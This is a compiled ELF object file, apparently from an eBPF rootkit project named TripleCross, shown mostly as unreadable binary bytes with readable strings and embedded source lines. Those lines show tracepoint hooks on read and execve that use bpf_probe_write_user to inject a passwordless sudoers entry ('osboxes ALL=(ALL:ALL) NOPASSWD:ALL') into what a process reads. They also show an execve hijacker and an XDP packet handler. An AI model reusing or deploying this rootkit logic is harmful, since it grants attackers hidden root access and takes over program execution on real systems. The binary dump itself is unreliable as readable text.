TripleCross/src/.output/kit.o

ELF


>
 H
@@<00><1E>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>}<7D>t)H<>E<EFBFBD>H<EFBFBD>H<><48>tH<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00>
<01><><EFBFBD>UH<55><48>H<EFBFBD><48> H<>}辨<00>
<00>H<>E<EFBFBD>H<EFBFBD>}<7D>u<07><00>EH<45>E<EFBFBD>H<EFBFBD><48><EFBFBD>h<00><>u H<>E<EFBFBD>H<EFBFBD>H<>U<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>u	H<>E<EFBFBD><45><15><>
<01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD><00><>UH<55><48><EFBFBD><00>~<7E><><EFBFBD>]<5D>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><>UH<55><48>H<EFBFBD><48> H<>}<7D><>H<00>
<00>H<>E<EFBFBD>H<EFBFBD>}<7D>u
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HH<>E<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>P H<>E<EFBFBD><45>@(H<>E<EFBFBD><45>@,H<>E<EFBFBD><45>@,Hc<48>H<EFBFBD>E<EFBFBD><45>@(H<>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P0H<30>E<EFBFBD>H<EFBFBD>@0H<30><48><0F>$H<>E<EFBFBD>H<EFBFBD>@0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD><48> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD><48>(H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD><48>0H<30>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD>˜H<>PH<>E<EFBFBD><45>@8H<>E<EFBFBD><45>@<H<>E<EFBFBD><45>@<Hc<48>H<EFBFBD>E<EFBFBD><45>@8H<38>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P@H<>E<EFBFBD>H<EFBFBD>@@H<><48><0F><>
H<>E<EFBFBD>H<EFBFBD>@@H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>8H<38>PH<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>hH<68>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>@H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>pH<70>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>HH<48>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>xH<78>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>PH<50>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>XH<58>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD>ˆH<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48>`H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@<18><>H<>E<EFBFBD>H<EFBFBD>H<>P<10><00><15><>
<01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> <20>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD><55>}<7D>u<0F><00><>
<01><>t<07><00>H<>H<>U<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>ƿ<00><00><>t*H<>H<><48><EFBFBD>)<00>
H<>=<00><00>
<00><00>H<EFBFBD>E<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48><EFBFBD>}<7D><>
<01>]<5D><><1E>UH<55><48>H<EFBFBD><48>pH<70>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00> H<><48><EFBFBD>H<>E<EFBFBD><45><EFBFBD><00><>u5H<35>E<EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45><EFBFBD>H<>E<EFBFBD><45>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00>EH<45>E<EFBFBD><45><EFBFBD><00><>
t6H<36>E<EFBFBD><45><EFBFBD><00><>t'H<>E<EFBFBD><45><EFBFBD><00><>tH<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05>H<>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0<EFBFBD>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>E<EFBFBD><00>
<00>}<7D>v<0F><><00>}<7D>v<0F><><00>}<7D>tt/<2F>}<7D>t<0F><><00>}<7D>htu<74>}<7D>h<0F><><00>}<7D>:<0F><><00>}<7D>?tt<74><74>H<>H<><48><EFBFBD><00>E<EFBFBD>H<EFBFBD>H<><48>H<EFBFBD>=<00><00><00>}<7D><0F><>H<>=<00><00>
<00><00>
<01>xH<78>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00><00><00><>H<EFBFBD>=<00><00><00>
<00><00><00><>H<EFBFBD>=<00><00><00>
<00>H<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00>
<00>H<>MЋE<D08B>H<EFBFBD>H<>Ή<EFBFBD><CE89><00>E<EFBFBD><45>}<7D><><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<3D><><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5j<35><6A><EFBFBD><EFBFBD><00>H<>5Y<35><59><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>}<7D>u*H<>H<><48><EFBFBD>%<00>
H<>=<00><00>
<00>4
H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>`<60><><EFBFBD><EFBFBD>E<EFBFBD><45>}<7D>t%H<>H<><48><EFBFBD>'<00>
H<>=<00><00><><00>
<01><00>E<EFBFBD><45><00>
<01>
H<>E<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>@H<><48><EFBFBD><00><00>H<>5<EFBFBD><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>}<7D>u)<29>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><00>
H<>=<00><00>@H<>=<00><00>#H<>E<EFBFBD><45>dH<><48><EFBFBD><00>E<EFBFBD><45>}<7D><>u	<09>E<EFBFBD><00><0F><00><>
<01><>uϐH<CF90>E<EFBFBD>H<EFBFBD><48><EFBFBD><00>}<7D>t<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05><00><>kit_bpfrb_commfs_openexec_var_hijack_activekit_bpf.rodatakit_bpf.bsshandle_sched_process_exectp_sys_enter_readtp_sys_exit_readtp_sys_enter_openattp_sys_enter_execvexdp_receiveELF


<00>
<00><>@@<00><00><00>U

<00><00>$yy<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD>
<00>

<00><><EFBFBD><EFBFBD>y
{<1A><>y
{<1A><>y
0{<1A><>y
({<1A><>y
 {<1A><>y
{<1A><>y
{<1A><>cz<63><7A>{j<><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD>
<00><00><00>
<00><00><00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD>
<00>
<00>	<00><><EFBFBD><EFBFBD><07>yv<06>ar<00>
enk<1A><>
now hidd{<1A><>
That is {<1A><><00>s<><73><EFBFBD>s<><73><EFBFBD>k<><6B><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>s<><73><EFBFBD><00>
LL #c<1A><>
PASSWD:A{<1A><>
:ALL) NO{<1A><>
ALL=(ALL{<1A><>
osboxes {<1A><>aq0
<01>
{*<2A><><00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>c<00>p	<00><><EFBFBD><EFBFBD>m<08>q<><71><EFBFBD>

T<00><00>c
<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
<01>q<><71><EFBFBD>

h<00><00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
<01>q<><71><EFBFBD>U
<01>i<00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
<01>q<><71><EFBFBD>U
<01>s<00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
<01>q<><71><EFBFBD>U
<01> <00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
<01>q<><71><EFBFBD>U
<01>w<00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
<01>q<><71><EFBFBD>U
<01>o<00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
q<><71><EFBFBD>U
}n<00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
uq<><71><EFBFBD>U
s'<00>c	<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
kq<><71><EFBFBD>U
it<00>c
<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
aq<><71><EFBFBD>U
_ <00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
Wq<><71><EFBFBD>U
Ub<00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
Mq<><71><EFBFBD>U
Ke<00>c
<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
Cq<><71><EFBFBD>U
A <00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
9q<><71><EFBFBD>U
7s<00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
/q<><71><EFBFBD>U
-e<00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
%q<><71><EFBFBD>U
#e<00>c<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>p<00>
m
q<><71><EFBFBD>U
n
<00><00>y<><79><EFBFBD><00>d<00><00>s 
<00><00>
<00><00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00><00>$<00>	m	&<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>$<00>$e<00><><EFBFBD><EFBFBD>
<00><00><00>	<00><><EFBFBD><EFBFBD><00><><00>
#s<1A><><00>%
<00><00>aq<00><><00><><EFBFBD><EFBFBD><EFBFBD>
<00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><00>3<00>
<00><00><00><00>	<00><>
,<00><00><00><><00><00><00>{j<><6A><00>	{<7B><><EFBFBD>{<7B><><EFBFBD><00><>
<00><><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>g <00> m	Os<><73><EFBFBD>c<><63><EFBFBD>{<7B><><EFBFBD>ys<00><><00><><EFBFBD><EFBFBD><EFBFBD>q<00>
<00>p{<7B><><EFBFBD>w cj<63><6A>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD><00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>s<00><00><>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00>q<><71><EFBFBD>

s%q<><71><EFBFBD>U
#uq<><71><EFBFBD>U
!dq<><71><EFBFBD>U
oq<><71><EFBFBD>U
q<><71><EFBFBD>

/q<><71><EFBFBD>U
eq<><71><EFBFBD>U
tq<><71><EFBFBD>U
cq<><71><EFBFBD>U
/q<><71><EFBFBD>U
sq<><71><EFBFBD>U

uq<><71><EFBFBD>U
dq<><71><EFBFBD>U
	oq<><71><EFBFBD>U
eq<><71><EFBFBD>U
rq<><71><EFBFBD>U
s<00>	
q<><71><EFBFBD>

<00>	c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><00><00><><00><00><00><00>
a
T


J<00><00><00>
{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>{X<><00><><EFBFBD><EFBFBD>8
yc6
<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>
d<00><00>yc<00><>
X<><58><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>
u<00><00>y<><79><EFBFBD>
<00><00><00>y<><79><EFBFBD>
<00><00><00>y<><79><EFBFBD>
<00><00><00><00><>X<><58><EFBFBD>
<00><00><00>yayb]
<00><00><00><00>
sW<>sV<><00>ks*U<><00>as*S<><00>js*R<><00>is*Q<><00>_s*O<><00>vs*M<><00>ps*D<><00>ls*C<><00>cs*T<>s*L<>s*?<3F><00>rs*F<>s*><3E><00>Gs*;<3B><00>Fs*:<3A><00>Ts*9<><00>xs*J<>s*5<><00>bs*3<><00>ss*G<>s*=<3D>s*7<>s*2<><00>es*N<>s*K<>s*I<>s*E<>s*B<>s*6<>s*/<2F><00>ms*.<2E><00>os*4<>s*1<>s*-<2D><00>hs*P<>s*A<>s*,<2C><00>/s*H<>s*@<40>s*<<3C>s*8<>s*0<>s*+<2B><00><><EFBFBD><EFBFBD>y<><79><EFBFBD><08>{<1A><>s<1A><>yaU

<00><00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00>e<00><><EFBFBD><EFBFBD>
t<00><00>
<00><><EFBFBD><EFBFBD>
7<00>q<><71><EFBFBD>U
w
<00><00><00>
<00><><EFBFBD><EFBFBD>
-<00>yaq<00>
<00>$e
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X<><58><EFBFBD>
<00><00>,<00>
<00><><EFBFBD><EFBFBD>
<00>yc<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>pe<00><><EFBFBD><EFBFBD>
<00><00><00>
<00><><EFBFBD><EFBFBD>
<00>yc<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00>peY<00><><EFBFBD><EFBFBD>
<00><00><00>
<00><><EFBFBD><EFBFBD>

s
<00><00><00>ya<00><>+<2B><><EFBFBD><EFBFBD>-<00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X<><58><EFBFBD>
<00><00>$<00>f<00>
{ <20>{<18>{<10>{<08>{<00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>yc<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>
	<00><00>yc<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>
<00><00><00><><00><><EFBFBD><EFBFBD>
)<00><00>y<><79><EFBFBD>
C<00><00>y<><79><EFBFBD>
S<00><00>y<><79><EFBFBD>
b<00><00><00>&<00><>
<00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00>e<00><><EFBFBD><EFBFBD>
<00><00><00>
<00><><EFBFBD><EFBFBD>q<><71><EFBFBD>U
w
<00><00>ya<00><>X<><58><EFBFBD><EFBFBD>
<00>$
<00><><EFBFBD><EFBFBD>ya<00><>X<><58><EFBFBD><EFBFBD>
<00>$<00>

<01><>
<00><00>
<00><00>p<00><00>aeag<00>y	=<3D>
<00><00>x"=<3D>
q<>	U
<00>q
6=
<00><00><00><00>i<>
#(i<><00>
<00><00><00><>i<><00>i<>w
W
<q<>gW<#<00><>	
$<00><00><00><><00>A
	=
;<00><>{Z<><5A>
=<00>6<00>C{J<><4A><00>	<00>y<><79><EFBFBD>qA
X
s<00><>qA
U
<01><>DqAU
<01><>PqAU
<01><>_qAU
<01><>PqAU
<01><>oqAU
<01><>CqAU
<01><>_qAU
<01><>0
u<00>y<><79><EFBFBD><00>iq
g
irO!irk*<2A><>c<1A><>iqg
irO!irisgO#g O{:<3A><>a<>g
 a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><>a<>g
 a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><><00>a<00><00>A

<00>4<00><00>
<00><><EFBFBD><EFBFBD>{<1A><><00>ab<00>)	"aa{*<2A><>{*<2A><>=!
P	=<3D>
vy<><79><EFBFBD>6=!V
<00><00>&<00>
<00><><EFBFBD><EFBFBD>{<1A><><00>
<00><00>Gy<><79><EFBFBD><00><00>	aa{<1A><>ahy<><79><EFBFBD>
= 
<00>

<00>
<00>&<00>y<><79><EFBFBD>{z<><7A>y<><79><EFBFBD>y<><79><EFBFBD>s<00><>y<><79><EFBFBD>
<00>)<00>
<<00><00><><00><><00>ac
[<00>*<00><><00>;<3B>y<><79><EFBFBD>
=


<00><00><>
=
'
<00>y<><79><EFBFBD>i#<00>i<>w
W
<q"gW<#{:<3A><><00>2g w <00>9[
-#f
M
<00><19>i<><69><EFBFBD>y<><79><EFBFBD>ka<><61><EFBFBD>kw
k
y<><79><EFBFBD><00>w0k#<00>w k#kw
ka<><61><EFBFBD>y<><79><EFBFBD>cy<><79><EFBFBD>cw
 cy<><79><EFBFBD>cw
 ca<><61><EFBFBD>cy<><79><EFBFBD>cw
 cy<><79><EFBFBD>cw
 ci<>
i<>
<00><00><00>i<><00>

<00>
k<00><00>
{<1A><>k(

<00><00>*<00><00><><00><00><00>
<00><00><><00><00><00><00>
w
W
<00><>
W<00><><00>
w
W
<00><>
W<00><><00>
w
W
<00><>
W<00><><00>
w

<00>
<00><><EFBFBD><EFBFBD>y<EFBFBD><79><EFBFBD>k
i#i$

<00><00><00><00>
P<><00><>
'=
l
wy<><79><EFBFBD>g
 w
 <00><>-<2D>o<00>
s&s%s$s#s"s!s sssssssssssssssssss
sss
s	ssssssss
s<00>
'y<><79><EFBFBD>m!H<00><>
'-<2D>Ey<><79><EFBFBD><00><><EFBFBD><EFBFBD>g w !-<2D>B<00>
)s&<00>
;s%<00>
ds!s <00>
ns#s<00>
bs<00>
gs<00>
ass<00>
ms
<00>
sssss<00>
us
<00>
os	<00>
iss<00>
vs<00>
rs<00>
ps<00>
 s$sssss<00>
es"ssssss<00>
hsss
<00>
Ts
<00>
<00>&7<>

J<00>-<00>
<00>
<00>5y<><79><EFBFBD><00><>y<><79><EFBFBD><00><00><>Error
Bound check fail ABDE %i
F, PS:%i, P:%i, DE:%i
GReceived valid TCP packet with payload %s of size %i
HOLD data_end: %i, payload: %i
Control back to main program with retcode %i after expanding %i bytes
Bound check A failed while expanding
Bound check B failed while expanding
Bound check D failed while expanding
Unlikely you are here, but OK
Bound check E failed while expanding
Bound check F failed while expanding
BPF finished with ret %i and payload %s of size %i
 BPF finished with error on expansion
Previous length: %i, current length: %i
NEW data_end: %i, payload: %i
And on NEW CTX data_end: %i, payload: %i
Error writing to user memory
Error writing to user memory in additional symbol
Sudo overwritten
Overwritting at pid %u, %s
Filename is %s
and program name is %s
Error writing to user memory
Starting execve hijacker
Error reading 1
Error reading 3
OLD ARGV0: %s
ARGV1: %s
ARGV2: %s
FILENAME: %s
Equal pointersTest failed
Test completed
Error writing to user memory by %s
Error reading
Error reading 1
SUCCESS NEW FILENAME: %s
NEW ARGV0: %s

NEW ARGV1: %s
NEW ARGV2: %s
wError reading test 3
Equal from the start
Error writing to user memory at test by %s
Error reading test 1
Error reading tets 2
Error reading test 3
Error case 2
Failed to expand a tcp packet reserved bytes by %i
Bound check A failed while expanding
Bound check B failed while expanding
Bound check C failed while expanding
before: %i, checksum %u
after: %i, checksum %u
csum: %u for data_start %u, data_size %i
Invalid attempt to substitute the payload A
Invalid attempt to substitute the payload C
Dual BSD/GPLThat is now hiddenosboxes ALL=(ALL:ALL) NOPASSWD:ALL #<00><>
<00>3

 

 %
*@6


>D
@[8hl@o`s<00><00>
<00><00>
<00>


<01><00>
 <00> %	*@<00>
<00><00><00><00>
<00> %	*	@<00>
<00><00>
<00><00>
<00>
"
 @o!`6
!<00>>
#<00>E
%Q
W
o e

t


<00>
<00>
"<00>


<00>
<00>

$'>(QX@e`l(<00>h<00>m)
s
@<00>(

<00>
&<00>
*-<00>QX@<00>.<00><00>
@


<00>
,<00>
/2<00>	(QX@e`<00>	<00><00><00>Q

<00>	3 
<00>	

<00>
1<00>	
47~(QX@e`<00>8<00><00>:<00><00>:
9
;
8

<00>
6<00>
<?4;@ I@S`c<00>r<00>

<00>
><00>
@<00><00><00>C<04>C<04>C<00>D<00>D <00>D0<00>C@<00>CH<00>FP<00>G`<00>G<00><00><00>E<00><00>E<00><00><00><00>D<00>D<00>G <00>G@<00>E`<04>Ed<04>Eh
<01>Ei
<01>Ej
<01>Ek
<01>El
<01>Em
<01>En

Eo
Dp<00>F<00>D<00>9^,I	x,K

<00>,M
9<00>,O9<00>,Q<00>,Q9<00>,T9<00>,V<00>,Q96-Y'-Q9=-\9GS-^9&i-`<00>-`<00>-`<00>-\<00>-`<00>-`95<00>-g
.`9)!.j8.\9*O.m9f.o93<00>.q9<00>.s9<00>.u9<00>.w9/y5/o9X/|9{/~<00>/~9<00>/<0E>9<00>/<0E>0<0E>990<0E>_0<0E>9
<00>0<0E><00>0w9$<00>0<0E><00>0<0E>1~C1|i1w<00>1<0E><00>1<0E>9<00>1<0E><00>1<0E>9,2<0E>>2<0E>`2<0E><00>2<0E><00>2<0E>94<00>2<0E><00>2`
3`23`9W3<0E>|3y<00>3m9-<00>3<0E><00>3<0E><00>3
L<00>3  <00>3>JPRSUW$X;Z=6[s]u_<00>Ga<00>&b

&c'
&dM
el
&f<00>
&h<00>
5i<00>
&k)l<n[*p<00>r<00>3t<00>v<00>xz{,}Jd<00>u<00><00><00><00><00><00><00><00><00><00><00><00>
<00><00><00><00>$<00>	<00><00>)<00>C<00>S<00>b<00>t<00><00><00><00>,<00><00><00><00><00><00><00><00>4<00>P&<00>v&<00><00>&<00><00><00><00><00><00>*<00>-<00>J-<00>3
N
int__ARRAY_SIZE_TYPE__ring_buffertypemax_entriesrb_comm__u64long long unsigned intfs_open_databuffdpidprogram_namefilenameis_sudochar__u32unsigned intfs_priv_openkeyvaluefs_openexec_var_priv_hijack_activeexec_var_hijack_activetrace_event_raw_sched_process_execent__data_loc_filenameold_pid__datatrace_entryflagspreempt_countunsigned shortunsigned charu32pid_t__kernel_pid_tctxhandle_sched_process_exectp/sched/sched_process_exec/home/osboxes/TFG/src/ebpf/include/bpf/sched.h	pid_t pid = bpf_get_current_pid_tgid() >> 32;	return 0;sys_read_enter_ctxunused__syscall_nrpaddingcountlong unsigned intsize_ttp_sys_enter_readtp/syscalls/sys_enter_read/home/osboxes/TFG/src/ebpf/include/bpf/fs.h    if (ctx == NULL){        bpf_printk("Error\n");    char *buf = (char*) ctx->buf;     int fd = (int) ctx->fd;     __u64 pid_tgid = bpf_get_current_pid_tgid();    struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);    if (stored_data == NULL){    struct fs_open_data data = *stored_data;    data.fd = fd;    data.buf = buf;    bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);} sys_read_exit_ctxretlong inttp_sys_exit_readtp/syscalls/sys_exit_read    struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);    if (data == NULL || data->buf == NULL){    __u32 pid = data->pid;    char msg_overwrite[] = STRING_FS_OVERWRITE;    char c_buf[sizeof(msg_overwrite)] = {0};    char sudo_line_overwrite[] = STRING_FS_SUDOERS_ENTRY;    if(data->is_sudo==1){        if(bpf_probe_read_user(c_buf+ii, 1, buf+ii)<0){    bpf_printk("Overwritting at pid %u, %s\n", pid, buf);    bpf_printk("Filename is %s\n", data->filename);    bpf_printk("and program name is %s\n", data->program_name);    if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){}        if(bpf_probe_write_user((void*)buf, (void*)sudo_line_overwrite, (__u32)STRING_FS_SUDOERS_ENTRY_LEN-1)<0){      
p
<00><00><00>
t
<00><00><00>
|
X
<00>0<0E>
`
<00>0<08>
x
<00><00>
<00>J<00>
<00>J<00>
<00>J0<00>
<00>J%<00>
<00>J<00>J <00>J00<00>J%@<00>JX<00>Jp<00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00>J0 <00>J%0<00>JH<00>J`<00>J0p<00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00>J0<00>J% <00>J8<00>JP<00>J0`<00>J%p<00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00>J%<00>J(<00>J@<00>J0P<00>J%`<00>Jx<00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00>J<00>J0<00>J0@<00>J%P<00>Jh<00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00>J <00><00>TP<00><00>X<00><00><00>\<00><00><00><00>0`<00><00>0`<00><00><00>
<01><00><00><0C>
 <00><00><0C>
(<00>
<0A>
h<00>@<0E>
<00><00>b<1C>
<00><00>b	<09>
<00><00><00><10>
<00><00><00><00><00><10>
<00><00><00><10>
<00><00>
	<11>
<00><00>`		<09>
	<00><00>		d<00>	8<00>
<00><00>Z<16>(<00>R

<EFBFBD>@<00>H<00>v
<0F>x<00><00>
<08><00><00><00>

<EFBFBD><00><00><00>
L<><00><00><00>

<EFBFBD><00><00><00>
